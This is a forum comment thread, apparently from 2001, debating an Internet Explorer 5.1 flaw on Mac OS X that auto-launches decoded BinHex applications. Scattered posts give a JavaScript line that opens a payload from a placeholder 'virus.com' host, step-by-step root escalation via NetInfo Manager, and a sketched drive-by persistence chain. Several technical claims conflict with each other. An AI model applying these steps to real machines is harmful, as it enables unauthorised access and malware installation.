Mac OS 9 already has a nice way to map mimetype/extensions/mac types to the app that should open them. The standard settings are perfectly fine for a large number of internet files, which should never be binhexed.

OS X doesn't have the same functionality in it's internet panel (but should). The individual browsers re-implement it. I guess Apple had too many things on the plate getting Mac OS X out the door.

Re:Why is it there?

[hearingaid]

That's true.

However, there is at least one non-.sit filetype I can think of that I'd want to do a .hqx on:

AppleScript source.

There are probably others, too. But Script Editor files have significant use of both forks.

Re:Why is it there?

[cpt kangarooski]

Naw, that's not valid.

If I took an executable and changed the type/creator codes, it will no longer be recognized as an executable by the system. Rather as though if you stripped a Windows program of the .exe suffix, and tried to run it.

Forked files are actually pretty cool. If you're using the NTFS filesystem on Windows, you have them too! And IIRC Linus wants them to become commonplace on Linux, if only for intercompatability reasons. So you'd probably look into what they actually do do, pretty quick ;)

Re:Why is it there?

[stux]

No :)

The reason to binhex something is to preserve the resource fork and the filetype/creator code.

This means the .sit is actually irrelevant and is actually there for user's benefit.

If you renamed a shell script to .sit and binhexed it, it would either...

Be associated with stuffit by its filetype (if you set that right) in which case it would not execute, but would be opened by stuffit, and reported as corrupt.

Or it would be associated with stuffit based on the .sit (if you left the filetype blank) in which case it would also be reported as corrupt.

If you wrote a simple app in C, which did what you want, then binhexed that, then yes, that would work, and that's where the problem comes from :(

Re:Why is it there?

[TeamSPAM]

While that is a good check. What happens when the turns out to be a simple text file with a .pl extenstion?

Re:Why is it there?

[Phroggy]

AppleScript source.

Yep. And I want it saved to the Desktop (or wherever) when I download it. If I want to open it, I can do so on my own.

Re:Why is it there?

[hearingaid]

If it's a simple text file, its creator will be ttxt, i.e. SimpleText. You only have to worry about it if its creator is McPL (I think, I'm at school so I can't check what the code for MacPerl actually is :)

Remember, in MacOS (classic anyway), extensions are irrelevant. The only things that matters are creator and filetype.

Not true

[Auckerman]

If the user has Classic running, which is VERY often the case, there is a problem. Classic is setuid root. All one would have to due is encode a malicious classic program as a .hqx, have it add itself to the startup procedure for OS X, and *poofie* instand backdoor.

Re:Not true

[sugarbomb]

Classic is not run as root, it's run as the user who is logged in. Classic can freely write to "System Folder", where the classic system lives, but it cannot write to anywhere inside /System, where all the important things live. Classic user would not be able to add itself to the X startup
But, you could easily add to the Classic system startup, and cause lots of havoc there ..

Re:Not true

[Auckerman]

"Classic is not run as root, it's run as the user who is logged in"

[localhost:Classic Startup.app/Contents/Resources] login% pwd
/System/Library/CoreServices/Classic Startup.app/Contents/Resources
[localhost:Classic Startup.app/Contents/Resources] login% ls -la TruBlueEnvironment
-rwsr-xr-x 1 root wheel 476740 Sep 26 20:04 TruBlueEnvironment

Sure looks like it's setuid root to me.

Re:Not true

[yomegaman]

I just checked my ps output and it was running as a user, not root. Maybe it only needs root for starting up, then relinquishes the privilege?

Re:Not true

[sugarbomb]

Root may be the owner of the file, but that does not mean root owns the process when TruBlue is launched. Classic is just another application, and not a system function. As an app, the only way it gets root power is if a password is entered by an administrative user.

Re:Not true

[armb]

That "s" he put in bold in the permissions shows the setuid bit is set. That _does_ mean root owns the process when it launches (though it might revert to the actual user when its finished with whatever it needs to be root for).

Re:Not true

[darkonc]

If the file is owned by root and the setuid bit is set, then executing it will get root priveledges. However: the classic code may (probably does) abdicate it's root privs whenever it runs a piece of user code.

The fact that the program is setuid isn't a gaping security hole. It just has the potential to be a gaping securit hole, if it's written by someone from Microsoft.

Re:Not true

[liquidsin]

No, it's in 5.1 as default, but OSX actually ships with 5.1, whereas "classic" ships with a previous version (I run 5.1 on OS 8.6 and it's still turned on by default, but I shut it off long ago). BTW, you can shut the option off by clicking edit>preferences>receiving files>download options and unchecking the boxes at the bottom

Re:Not true

[binarybits]

Um, this is me on a Mac OS X v10.1 box...

tlee@mybox % ps aux | grep TruBlu
tlee 299 5.4 26.5 1106840 34676 ?? R 25:50.39 /System/Library/CoreServices/Classic Startup.app/Contents/Resources/TruBlueEnvironment

Looks like it's running as my user to me...

OS 10.0.1 IE hole.

[Otarey]

Preferences fix it. I run 4 systems at my parents house right now. OS 10.0.1, OS 9.1 (for my parents) OS 7.6 (whee hoo!) Win95, and WIn2k.

Re:Well!

[Quasar1999]

What kind of hogwash is this? User friendly has nothing to do with security holes...

One has nothing to do with the other. I can make Windows NT 4 air tight, and it still has all the user friendly features it started with (sorry, don't have enough Linux experience to make the claim, but I'm sure its doable). This security vs user interface crap comes from those who either don't know how to code, or do know how to code, and are too lazy to worry about making it 'look perty'...

Please, please, please, let this horrible association between good UI and bad security die here and now...

Re:Thanks, Apple

[Chester K]

I do have one question, though... being a Unix-derrived OS, does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

Probably not, but when it comes down to brass tacks, the part of the system that stings the user the most when it gets damaged is the user's data, which is accessible to the user and fair game to a trojan horse/virus/backdoor.

I'm only out an hour if I just have to reinstall the OS. I'm out possibly several months if my data gets wiped out and I don't back up (like the average user).

It's not quite THAT bad...

[Millennium]

...though I will admit, it's pretty dismal.

Administrator-class users [i]do [/i]have to authenticate to save their changes to the NetInfo database.

The real problem is sudo. Any Administrator-class user can use sudo on anything they want. That is, obviously, an obscenely huge hole. But it's not quite as bad as you make it sound. Still dire, but there's no need to exaggerate it even further than it already is.

Re:It's not quite THAT bad...

[iso]

This is why anybody using Mac OS X should comment out the line:

%admin ALL=(ALL) ALL

in their /etc/sudoers file. The vast majority of Mac users won't miss sudo, and those who do need root privileges can enable the root account through NetInfo, add their account to the "wheel" group, and use su instead of sudo.

...or you should live with it, but ensure that your main account is a non-administrator account.

- j

Re:IE Flaw

[Daniel Dvorkin]

Actually, I did read the article. IIRC, the author points out that file and creator type are not part of the Mac's resource fork, but rather its data fork. So while such information is certainly metadata, there's no good reasons that other OS's shouldn't be able to interpret Mac file type information. (Application type is a little trickier, I admit, but that should be information which a user is free to ignore anyway.)

I strongly agree with the author's contention that suffixes are a lousy way to identify file type, and as a long-term Mac guy, I'm dismayed that MacOS X (which is in almost every other respect a great OS) is moving so strongly in the direction of suffix-identified files.

In any case, none of that is directly relevant here. The IE flaw has to do with the Mac as a file client, not a server.

Re:my experience

[Anonymous Coward]

That's actually the root cause of this discussion -- Microsoft attempted to resolve the "SIT paradox" by including automatic decoding and unstuffing in the browser. They also kindly added auto-execution.

Believe me, it used to be a lot worse because you needed seperate tools for de-BinHexing and de-MacBinarying files.

Re:Stupid Apple

[CodeShark]

Don't you mean Stupid Microsoft?

I mean, the only way Apple gets blamed is if Microsoft's Mac IE team got approval from a managerial level inside Apple to include the "run as default" in the spec for IE-Mac. I doubt mgmt at Apple is that stupid... so I would be willing to bet that no-one at Apple ever saw the offending code, primarily because M$ is so damned arrogant about their own perceived superiority based on market share. (insert obligatory rant about M$ marketing techniques here). So the chances of anyone at an outside company being given code review privileges were probably between microscopic and non-existent.

IE is not an Apple product and you can bet that now that the problem has been exposed there is going to be some serious backrooms yelling at the idiots in Redmond who are inflicting their poor security models and thinking on the Mac platforms, and that Microsoft is going to have to spend some additional development bucks to fix it.

Of course, we all trust Microsoft's patches to behave themselves, right? NOT!!!!!

Re:Well!

[DrSkwid]

video drivers in the kernel

need i say more

Yep -- it's a feature. It really is.

[flashms010]

With IE up, hit CMD-; to open preferences. Under "Receiving Files", select "Download Options." Note the checkboxes at the bottom of the panel: Automatically decode MacBinary files / Automatically decode BinHex files. They're both defaulted to "checked" for me.

On the Mac (and probably everywhere else) this is called "post processing" a download. iCab and OmniWeb both offer this too.

In my experience, this functionality has never been a problem, and has existed at least since 8.5 (what I got on the web with). Stuffit (like Winzip for Macs) also does this -- if you download a file like "foo.tar.gz.sit.zip.hqx" it will automatically keep decoding files until it gets to the foo file. It's a convenience, not a security breach.

Re:Yep -- it's a feature. It really is.

[Sunda666]

nope!
It stops being a convenience when it comes to *executing* code. Believe me, auto-executing code can be very, very inconvenient. Auto unpacking/uncompressing/decoding can be very convenient, tough, at least for the average luser.

Re:Yep -- it's a feature. It really is.

[flashms010]

Yes. I am on board now, having learned what the real problem is. Thanks!

Re:Well!

[DrSkwid]

1. video drivers in the kernel

2. NT4 is no longer a microsoft product see here

"Effective October 1, 2001, Windows NT Server 4.0, Windows NT 4.0, Enterprise Edition, and Windows NT 4.0 Client Access Licenses (CALs), will no longer be available through volume licensing programs"

skwid

Wait... does it run the software, or just decode?

[Shadow Knight]

Wait a minute here... I think there's a fundamental misunderstanding. Decoding a .hqx or MacBinary file is NOT the same thing as running the resulting executable! It doesn't even have to be an executable... any file can be encoded as BinHex or MacBinary. It's just a method of "flattening" the resource fork and data fork into one file. Stuffit's .sit format has done the equivalent (plus compression) for a couple versions now. I don't have the latest IE yet (waiting for my Student ADC copy of 10.1...), but I'm 99% sure it doesn't automatically run any executables, it just harmlessly decodes the encoded files into their original form.

later,
Shadow Knight

Re:Well!

[Quasar1999]

Exactly... once microsoft stops supporting it, it becomes secure...

pop-up virus?

[aralin]

windows.open("http://virus.com/takeit.hqx");

Does anyone else remember how new windows with binary files turn automatically in download of the file? You don't even have to start the download yourself. Just browse on some site...

Intrinsic Security in OS 9

[flegged]

And it's only Classic [blech] apps than are executed automatically. So its not a Unix problem. Its a Mac OS problem. The fact that their OS (their being Mac OS, not that hideous mutation of BSD) has only one privilige level is the worry. Any random binary can scribble over the memory of any other app (thank you Apple, for failing to include memory protection), even the OS itself, including filesystems drivers! Ever wonder why it tells you restart after a random app crashes (which is often) ? Because it could have (and probably did), nuke all the data another app was working with, which will in turn crash and nuke another app...

Anyway, back ontopic... If you want a secure Unix OS, use Linux, or [Net|Free|Open]BSD. At a pinch you can use OSX (But whatever you don't DON'T install Classic. And log in as a normal user. And reenable the root account so you can disable sudo (but with a nice strong password)). If you want a pretty [blech] gui with transparency and animated menus and the "genie-in-a-bottle" effect, but don't care about your data, then by all means, use Mac OS.

Think different? Different what, colours? How about you just think for a moment...

Re:Intrinsic Security in OS 9

[MaxVlast]

Wow. First of all, unclench.

Second, you're just wrong. Classic is a Mach process, just like bash or OmniWeb. That's the point. All of the old (non-protected) apps run in a virual machine. They can screw each other up just like they always could. They can't harm anything outside of the Classic environment. So a binary can't scribble over the FS drivers in OS X. And memory protection is there. Every Mach process gets full VM and memory protection. Installing Classic doesn't make your machine instantly unstable. I'm just not sure where you get the "your data is unsafe in OS X" bit.

Re:Intrinsic Security in OS 9

[J. Random Software]

Unfortunately, the Classic process has complete access to the network and all files the current user is allowed to modify (and for a single user system, that's everything of value). This is why we should be using capability-based systems, so we don't have to blindly delegate all our privileges to everything we run, even if we don't really trust it.

Re:Intrinsic Security in OS 9

[flegged]

Yes, Classic is a Mach process and all that yada yada yada.

My point was that Classic is still as unstable as it ever was. And this security hole only affects Classic, not OSX, or even OS9. J Random Binary is still capable of nuking your home directory, and the OS9 System Folder even if it can't damage your OSX installation. So like I said, use OSX if you must, but don't install Classic if you care about your data.

Re:Intrinsic Security in OS 9

[MaxVlast]

Installing classic is as dangerous as installing any Mach app. There's no way to expect them to have made Classic any more secure (contrary to your aside about memory protection).

I'm comfortable installing Classic, just not using IE. Besides, OmniWeb is better in every way.

hole

[mlknowle]

The huge security hole JUST GOT BIGGER with a huge /. story! Prehaps we should refrain fron reporting these things till they are fixed - kind of like how newspapers sometimes won't report on troop movements (esp. during WWII)

Re:hole

[Lordie]

That's why closed-source software is so successful. If more people DON'T know what the code does, the better. Keep your cards close to your chest, and all. The best decision would have been to report directly to Microsoft, then keep quiet until a patch got released, and hope that nobody else found the hole...after all, nobody else would be clever enough to find it, right?

I think you're a moron.

Meet a savvy Mac user

[flwombat]

Hi. I'm Jack. Nice to meet you.

I wonder. . .

[foo fighter]

I imagine Jobs is fuming at this wondering just what it's going to take to keep Microsoft off MacOS. I wonder if Apple has any skunk work projects or programmers working on non-Microsoft browsers and office suites. Kinda conspiracy theory-ish, I know.

Re:I wonder. . .

[Wyatt Earp]

I doubt it, because in the four days I've been using IE 5 on Mac OS 10.1, it's been really fast and really stable.

This issue will only take a minor patch to fix.

On the issue of Skunk Works...I'd bet that Apple has been helping the Omni Web fellows work on that great Cocoa browser of thiers.

Who know...maybe there is a Cocoa version of CyberDog somewhere at Apple.

Here's the issue

[sacrilicious]

I see various posts here investigating the question of whether an OK button is warranted when making the decision to launch the hqx file. I think the issue is quite different. The problem as described is that any download that the browser thinks is an hqx file gets *executed*... as opposed to decoded by the appropriate program.

The problem begins and ends with the browser designers' decision to invoke the decode by telling the OS to "launch" the file, leaving it to the system to examine the file's metadata and leading to this security hole when that metadata indicates that the file is an application instead of a binhex file (despite the .hqx ending).

The right way to solve this problem is to:
1) download the file ending in .hqx
2) tell the OS to launch the OS's choice of decoder program for hqx files, and
3) tell that launched program to decode the downloaded file.

Re:Intrinsic Security in OS X - It's even worse...

[sakusha]

I think a very important point to make here is that by default, the user you set up when installing Mac OS X is an administrative user and not only that is automatically logged in when the computer boots. So obviously ~99% of the Mac OS X boxes out there are vulnerable to this bug.

You are incorrect. The default user does not have any root privileges, you have to specifically enable them. The rest of your assertions are equally bullshit. You must enable root to change anything in NetInfo Manager.
A few messages down from this is some more misinformation. Classic mode apps run as user, not root. No gaping security hole there either.
So will you guys give MacOS X a chance, and at least make SOME attempt to verify the accuracy of your statements before slagging on the product? MacOS X is your friend, Apple is now the largest Unix vendor in the world.

Re:Not M$

[Winged Cat]

the Microsoft Macintosh Business unit, which is a somewhat independent MS arm

If only that were true. It is correct that large corporations are actually a bunch of smaller companies bound together as "business units" in an attempt to get them to play nice together, but Microsoft is bound closer than most such businesses, with the top leading by example.

As evidence, take their uniformly poor attitude towards security...and their applying features from games to other software (one can get obsessed about a game and learn all its controls, and if it crashes, one can just pick up from the last save; this mantra has problems when applied to, say, office software). Also see "embrace and extend" used across the board, to varying degrees of success.

Wouldn't you think

[Lank]

That if the user clicked on the link to download the hqx, that he would have run it after it finished downloading anyway? If I click something to download, at that point it really doesn't matter whether the browser runs it or I do.

Re:Wouldn't you think

[Junta]

But people might not realize they are downloading something until it is too late. an onLoad directive to load a file, or an embed, or simply a disguised link that most people wouldn't bother checking..

Re:IE Flaw

[dair]

IIRC, the author points out that file and creator type are not part of the Mac's resource fork, but rather its data fork.

It's not part of either fork, it's part of the HFS(+) filesystem - it lives in the same place as creation/modification date and the like.

-dair

Re:Well, yeah.

[Viadd]

...most users would turn it off...

Except that the checkboxes say Automatically decode binhex files, they don't say ... and execute them without warning. The first would be a nice feature. The second is a security hole of Gatesian proportions.

In walks the Sandman ready to kick your ass

[Graymalkin]

Uh I don't think the original poster has ever used a Mac and thus has no idea what a .bin or .hqx is. HFS stores files as what are called forks. A file has a resource fork and a data fork. The resource fork is the important part because it contains information about the file telling the system what type of file it is as well as who owns/created it. If you send a file from a Mac to a non-Mac system the resource fork is lost most of the time and you end up with a meaningless set of data. MacBinary and BinHex encoding came about because Mac files needed to be sent over network mediums possibly through systems that had no concept of data forks. They combine the data and resource forks in a single file system entity so they can be sent over a network. BinHex provides a little bit of compression with RLE encoding. The fact that IE automagically decodes either BinHex or MacBinary files means it does what it is supposed to do. This is not a security hole because it doesn't automatically run anything that was encoded. It just turns it into a normal Mac file entity. If you're set to automatically expand SIT or SEA files then you're asking for someone to fuck you over. This is NOT a security hole in IE. Geez

Re:In walks the Sandman ready to kick your ass

[raynet]

Well the site says:
- "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!

If this actually happens then Mac uses are fucked, otherwise it's the users stupidity.

Re:In walks the Sandman ready to kick your ass

[benh57]

I am amazed that so many people cannot read simple english. Graymalkin, IE *DOES* execute the app which comes out of the hqx. THAT IS THE PROBLEM. To replicate, binhex an app. (do NOT stuff it) Then download it with IE on OSX 10.1. IE will launch it. Certainly does on my system.

Re:In walks the Sandman ready to kick your ass

[Graymalkin]

Weird how easily i set IE NOT to execute the output of a BinHex and MacBinary file by just going into preferences. People were equating BinHex with SEA or something which it isn't. It is just a fork packager. I've never had IE execute anything on download anyhow and neither do most people.

Re:In walks the Sandman ready to kick your ass

[Graymalkin]

All the browsers have had the feature to automatically launch a binhexed file for a long time. What the site doesn't point out which is blatantly obvious is that this is not seen as a design flaw since you're not randomly downloading shit off the internet. You have to choose to download it and IE also allows you to set whether or not you want BinHex or MacBinary files run after they're downloaded. The fact this was labeled a huge security hole and blamed enitrely on Microsoft is ridiculous. Users who don't pay better attention to what they're downloading end up fucked in any event regardless of IE.

Re:In walks the Sandman ready to kick your ass

[stux]

What you don't seem to realise is

1) IE *DOES* launch the results of the download.

and here's the killer

2) no you do not need to authorize a download, any website can download anything the hell it wants to your computer. No you do not need to click to start downloads.

Re:In walks the Sandman ready to kick your ass

[stux]

Damnit, read the article

You've never had it happen because IE has never been able to do it before.

It happens now because as a side effect of "automatically decoding" like webbrowsers have always done on the mac, the executable gets executed... which is NOT how it has always been.

Turning off autodecoding should not be necessary to prevent code getting executed automatically.

The fact that in the default configuration this is how it is is all that matters.

(I loved that sentence ;))

Is this really an issue?

[Macster]

...when it downloads arbitrary programs encoded in the Macintosh's standard BinHex (.hqx) format, it automatically executes them.

This is misleading. The browser decodes the BinHex file, but does not actually execute the expanded program. The only way for the program to be executed is if the user deliberately opens it. This really isn't a grave matter of security, but rather a convenience.

- A

The real reason

[Anonymous Coward]

After usibility testing with average Mac users explaining how downloaded files need to be stored somewhere and then doubleclicked to execute, Microsoft said "fuck it" and made it automatic.

Design a computer for an moron, and only morons will use it.

Replace IE On Any System

[PRickard]

For a full list of replacements for Internet Explorer on any computer system, check out the Internet Explorer listing on MSBC's The Alternative. It's worth a read to see just how many IE replacements are available, quite a few of them for Macs.

Re:Replace IE On Any System

[Phroggy]

That's kinda silly. On a Mac, Internet Explorer is a choice. It happens to be the default, but switching to another browser is trivially simple. Trashing IE doesn't break half the OS and several other apps, like it would on Windows. Personally, IE is my choice on Mac OS 9 (with consideration given to Netscape, Mozilla, iCab, Opera, or heck, even Lynx. On Mac OS X, I choose OmniWeb over that list, but still rely on IE for sites that OmniWeb can't yet render. In fact, I still rely on Netscape for sites that IE can't render correctly. The point is, yeah, there are a lot of choices, and I've made mine. IE is faster and/or more reliable than the other options.

it's a MS problem no matter what

[ClosedSource]

Funny. When third-party programs cause problems in Windows it's the OS's fault not the third-party vendor. But when MS is the third-party, it's not the OS's fault but MS's. Bottom line - it's MS's fault no matter what.

My only question is: If a non-MS application causes a problem on a non-MS OS, is anyone at fault?

Re:it's a MS problem no matter what

[jrockway]

Yes, because the security hole is in MS Internet Explorer. There is nothing in the OS that would affect this.

*whew*

[macsox]

as a mac fan, i'm very glad the icon next to the title is mr. gates, not the apple.

last thing apple needs on slashdot is bad pr.

Solution

[KFury]

1. Create script to toggle 'autoexec .hqx downloads' to FALSE
   
2. Insert the file into the X-10 popup banner

Problem solved.

Re:Solution

[yesthatguy]

That would be hilarious. Even if it weren't in X-10 pop-up banners, but just some site at microsoft where they used the exploit to patch the exploit...genius.

Re:Solution

[barzok]

And yet when people propose doing the same with CodeRed and the like (detect an attack, then use the same tactics to "infect" the attacking system with the patch), it's considered bad?

Re:Solution

[yesthatguy]

Hmm...sorry if it passed you by, but I mentioned "That would be hilarious" at the beginning of the sentence, saying it would be funny. This is if it were done by MS, and them using the exploit, rather than downloading and installing a patch through normal update mechanisms. (Though, in fact, it may be automatically installed anyway if their normal update patches for macintosh are .hqx's)

Not Stuffit's Fault

[Brownian Motion]

It is not Stuffit. It's Internet Explorer de-binhexing and executing the coded app all on it's own. Since you mention Stuffit, I'm not sure you understand what is going on as Stuffit does not have this behavior (nor is it involved).

It's not a feature of OS X (or the OS's fault in any way). I never noticed the beta-IE (used in OS 10.0[0-4] doing this, and I used it throughout. I rarely booted into OS 9 when OS X came out, and I used the beta fairly extensively as well.

IE is auto-decoding a binhex, then if it's an application, automatically executing it. No other version of IE does this. No other mac internet app does either. Others will auto-decode files for you, but leave it to you to launch them.

Sure, you can turn off the binhex pref, but without the added "feature" it is not a security risk to simply de-binhex a file (probably less dangerous than uu-decoding). Even a savvy user who perused every setting wouldn't know to uncheck "automatically decode binhex" to turn off a feature that's so stupid one wonders why someone would bother coding it (automatically running dl'd apps).

Now Stuffit has it's own security risk. By default, it will auto-mount any disk image it decodes. A disk image can be set to automatically launch an app when loaded. Hence, Stuffit can be made to do what IE is doing in a roundabout way. Personally, I think this "feature" should be turned off for disk images as well.

I use the slowest G4, and I've not noticed Stuffit being a hog, though it is annoying. It ripped through the 189 MB dev tool installer in a few seconds.

IE has other problems as well. It will reset my Internet prefs (usually just the dl folder, but sometimes it will set itself as the default web app). Just use Omniweb, and you get a nice spell checker to spell check your posts (I know I need it).

Re:Intrinsic Security in OS X - STEP BY STEP

[benmartz]

In reply to both sakusha and Millenium...

I actually forgot to include the most critical step. Here is a complete set of steps that you can verify on your installations.

1. Walk up to a Mac OS X box that has a default install and is therefore already logged in as an administrative user.

2. Open System Preferences...

3. Open the Users control panel.

4. Add a new user and select "Allow user to administer this computer" under the Password tab. Wow...you don't have to authenticate to do this!

5. Log out and log back in as the user you just created.

6. Open NetInfo Manager.

7. Click on the lock button at the bottom of the window and authenticate using the login/password you just created.

8. Choose Enable Root User from the Security submenu in the Domain menu.

8. Navigate to "/" -> "users" -> "" and copy the contents of the "passwd" property.

9. Navigate to "/" -> "users" -> "root" and paste into the "passwd" property.

10. Quit and save your changes.

Amazing...you now have complete ROOT ACCESS to the machine!

P.S. Please try to keep your responses constructive guys...

Re:Not M$

[ehintz]

And I suppose you called it the DOS Operating System, and the GUI interface? You stupid redundant bastard, it's "NIC", not "NIC card". You could say NI card (thus winning a Monty Python Point), but you're too retarded.

Fair enough. I'm rather embarrassed to admit I missed the Python point, painfully obvious in hindsight. But it's a fair cop. ;-) Although there comes a certain time where it becomes pointless to fight the popular trend. NIC card, GUI interface, Cable/DSL Modem... All wrong. Sadly, our language has a long standing tradition of words whose original meaning is popularized into something entirely different. Dare I even bring up hacker/cracker? That should be good for a flame war or two... ;-)

New slogan

[Lumpy]

I'm gonna be maked at -5 flamebait for this...

Microsoft, Helping people root boxes cince 1983 and now with cross platform capabilities built specifically for Macintosh OS 10!

not just IE..tis a mac thing

[fjordboy]

Interesting note: When I use the macs at my high school (G4's), IE never seems to work for them, so I always use Netscape. However, I also like to check my email using the macs, and there is no telnet application on these macs, and I can't install NCSA telnet on them because everything on the computer is locked. However, I found a way around it. When I download the hqx version of NCSA, it autoinstalls, bypassing "foolproof" security. I still can't use the telnet app unless I call it up through netscape using telnet: . I just thought this was interesting...because it isn't just IE that does it...it is the stupid hqx and stuffit expander things. I would definitely disable those options. (If I could...but the security features don't let me change anything!)

Re:not just IE..tis a mac thing

[Tokerat]

Read my post above. It is not a Mac thing. In your case, it was because the browsers where alowed unrestricted access to the files on the computer even tho anything the user directly does (such as standard file dialogs and finder navagation) was blocked. This was done to prevent "breaking" programs that depend on such silly things as access to wherever they decide to store their shit. Web brosers allowed user control over the filesystem beyond the OS's reach, i.e. it wasn't the OS listing the files to the user, it was listing to the program which in turn listed to the user. telnet:// worked because Netscape defaults to NSCA's creator type when looking for an APPL to launch for telnet (check it, it's in the Helper Apps section, the MIME is mapped to NCSA specifically), it probably wouldn't work with a different client, and since that was also an App-based request for launch and not user-based, it was allowed by the OS.

What the hell security does your school run that allows that these days? Please tell me it isn't MacOS 9's fugly-as-hell-At-Ease-wannabe Panels, i'd hate to think the OS itself was that slacked on...

Re:not just IE..tis a mac thing

[willmc]

Er, I think you misunderstood what happened on those G4s, because Netscape for Mac (or for any other OS, as far as I know) has never had that behavior. If you used Netscape to download NCSA Telnet, the most it can do is have StuffIt Expander decode the binhex or macbinary file. StuffIt Expander, in turn, will not and can not launch a program it decodes. Now, as for having to call telnet from Netscape, all that means is that Netscape knew where NCSA Telnet was on your hard drive. So, when you use Netscape to open the location telnet:foo.com or whatever (I forget the exact syntax), it opens it and tells it to connect to whatever host you told Netscape to connect to. This problem is not caused by MacOS, StuffIt Expander, or anything other than IE 5.1.

Re:not just IE..tis a mac thing

[fjordboy]

its called "fool proof" security.

Re:not just IE..tis a mac thing

[fjordboy]

herm...ok. I think I misread the article. It is true, the program is not automatically executed, but it is automatically installed. WHat happens is if I call up telnet through netscape without already downloading it, it doesn't work. However, if i go to nsca's site and download it, it downloads (which shouldn't work with the security the school has....they don't allow downloads of files over 1 meg on the macs), and it installs (which also shouldn't work because the security doesn't allow the installation of any programs, nor does it allow saving of downloads) After I download it, I can call it up through netscape. It isn't exactly the same thing...but it still bothers me that I can download something and it autoinstalls w/o any user intervention (at least with shockwave I have to click OK) also...there is no way i was offtopic...it might be slightly skewed info...but not offtopic. lay off the crack.

Re:not just IE..tis a mac thing

[leejor]

Most applications on Mac's do not require an installer. Usually, you just uncompress the archive, and drag the program to where you want it on your drive. The same is true of many commercial apps on CD. Mount the CD, and drag the program files to your hard drive. Only the Big applications and system utilities that add system extensions typically require installers. Even Microsoft's Mac programs are Drag-and-Drop to install.

(Although MS programs like Office require system extensions, the main application program such as Word will automatically check to see if these extensions are in place and if not it will install them on the fly. Even if the user deletes critical Office components, the application will repair itself.)

Lee Joramo

Re:Tried it. Does nothing

[benh57]

IE definitely auto launches it on my 10.1 system. 5G64, Dual 800 G4. -Ben

Re:Well!

[Telek]

1. video drivers in the kernel

And if they weren't then you'd be yelling about how the video performace is so slow.

What's the bloody deal? If you install a crappy video driver even if it's not in the kernel is has hardware access which means that it can toast the system. So don't install crappy video drivers.

NT4 is no longer a microsoft product

you have an interesting interpretation of "discontinued". It does NOT mean that it's no longer a MS product, it just means that they're not supporting it anymore (which makes sense).

Re:total utter bullshit

[benh57]

And that is exactly what it does, mr Fucking Idiot. It dehqxes it, then runs it. http://www.pardeike.net/danger.hqx Decompresses - then launches on my 10.1 Mac. Note that in order to reproduce this, you MUST binhex an APPL, without stuffing it also.

Apple directly competes with MS...

[SiMac]

Apple does work on non-MS office suites! AppleWorks! It's non-MS and it's actually a very good product...one of the first OSX native applications. I ran it all the way back on the public beta...Also, Apple worked on Mail, which competes with OE.

Execution

[garoush]

"...it automatically executes them."

Now if an "executed" program is STILL a security risk -- I don't know how we can ever be secure.

Re:Tried it. Does nothing

[sugarbomb]

launched automatically for me, but only when Classic was running ... sounds like Classic MacOS is the weak link

Simple fix for the problem

[DragonPup]

Under IE5.1 Final for OS X, go into it's preferences. Under the Recieving Files catagory, choose Download Options. There's 2 checked items by default. 'Automatically decode BinHex' and 'Automatically decode MacBinary'. Uncheck them both and hit ok. IE will now send those files over to Stuffit Expander, like it should. Easy, isn't it?

-Henry

Durable backup

[xixax]

User files should not be a problem. The same files would also be toast if the hard drive died. If people are not backing up to a durable medium (hey, they all ship with CD burners don't they?), they don't really care about their data.

I'd like to see a virus capble of erasing CD-Rs kept in a locked filing cabinet.

Xix.

Step back and smell the irony

[1stmammaltowearpants]

We're talking about a Microsoft product running in Unix that came pre-installed with the Mac OS.

These are strange times, my friends.

and extra ok click

[MrPants tm]

"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

joe user might not know what .hqx is or does. is it safe or is it malicious code? well malicious coders aren't going to name the hqx files "thiswillhurtyoucomputer.hqx". secondly the people who would be surfing sites where this is a danger would be kids who don't nor won't take the time to investigate if a warning is presented.

as stated in another post disabling this is really the only approach but that limits honest deployments of .hqx files. sigh. can't we all just get along!!!

Same old, Same old... (just a different platform)

[Jucius Maximus]

Huge security hole in Internet Explorer...

Score: (Score:-1, Redundant)

All users will eventually run the executable

[acomj]

I think the autoexecution is a dumb idea...

but seriously, your downloading an execuable, its being decompressed.
You can run it now, or run it later when you launch it....

Some Mac users don't diferentiate executables and documents. They often double click on executables and documents. The mac stores file type and application to run with documents (at least up to 9.x) so it knows which application to run. Many mac users use documents to launch their programs (a more doc-u-centric approach)

The danger here is people may think they are downloading a data file, when its an executable. most people don't check. The pc sircam virus uses this technique to trick users into launching it, so its not a unique "mac" problem.

Watch what you download..!

On the plus side the Unixy features of OSX should prevent it from hosing your system, you just have to worry about your documents...

Re:All users will eventually run the executable

[cpt kangarooski]

On the plus side the Unixy features of OSX should prevent it from hosing your system, you just have to worry about your documents....

Sounds like a major bug in Unix, to me. It's things like this, that are just assumed to be the way that things are, that really get under my skin. There are, I understand, alternative security models (I'm mostly thinking of capabilities, here) that would eliminate this security hole. But God forbid that Apple actually innovate anymore -- no, it's the NeXT way or the highway.

Re:All users will eventually run the executable

[RoninM]

Sounds like a major bug in Unix, to me.

...that you can't hose the system, but can hose your own files? I'll admit that users are dumb and capabilities could help, but they're not a panacea. Users do dumb things. A user doing something stupid can invalidate any security model. With capabilities, the problem is that there's a trade-off between security and functionality. If you give executables the read capability, you can still have something like SirCam. If you give it TCP caps, your machine can be used as a node in a DDoS or attempt to trojan other computers. If you give them write caps, you're back to where you were before: all of your data is insecure. If you give it execute caps, it can run another program that does something bad, anyway. So your default caps for securely running executables are no read, no write, no execute, and no Internet connectivity. So in order to do pretty much _anything_ with the program you downloaded, you need to change its caps.

At this point, what's the difference between simply not downloading and running something you don't trust?

Re:All users will eventually run the executable

[stux]

I'll try to explain why its a really really dumb idea :)

If IE just auto decoded binhex files (like every other internet app on the mac)

Then there would be no point in making a small 4KB app which can be downloaded and executed in the background...

If IE would debinhex, then execute those files, then you can setup webpages to automatically download such a file when an IE/OSX.1 user comes along, most users won't even notice a 4KB binary download, after all the graphics are bigger than that.

And as soon as it downloads... it executes... if classic is running, it'll execute in a 10th of as second, it can even be made into a daemon app, so you won't even know its running,

it can then copy itself to the startup items...

instant perma exploit, by simply adding a java script to some website waiting for any OSX.1 IE user to come by.

AND this isn't a theoretical problem, this has shipped in Apple's 10.1 release of OSX, where the default webbrowser causes it.

This is a serious threat, if only because its soooooo easy to exploit.

And it was nothing else except microsoft's stupidity which caused it.

Re:All users will eventually run the executable

[cpt kangarooski]

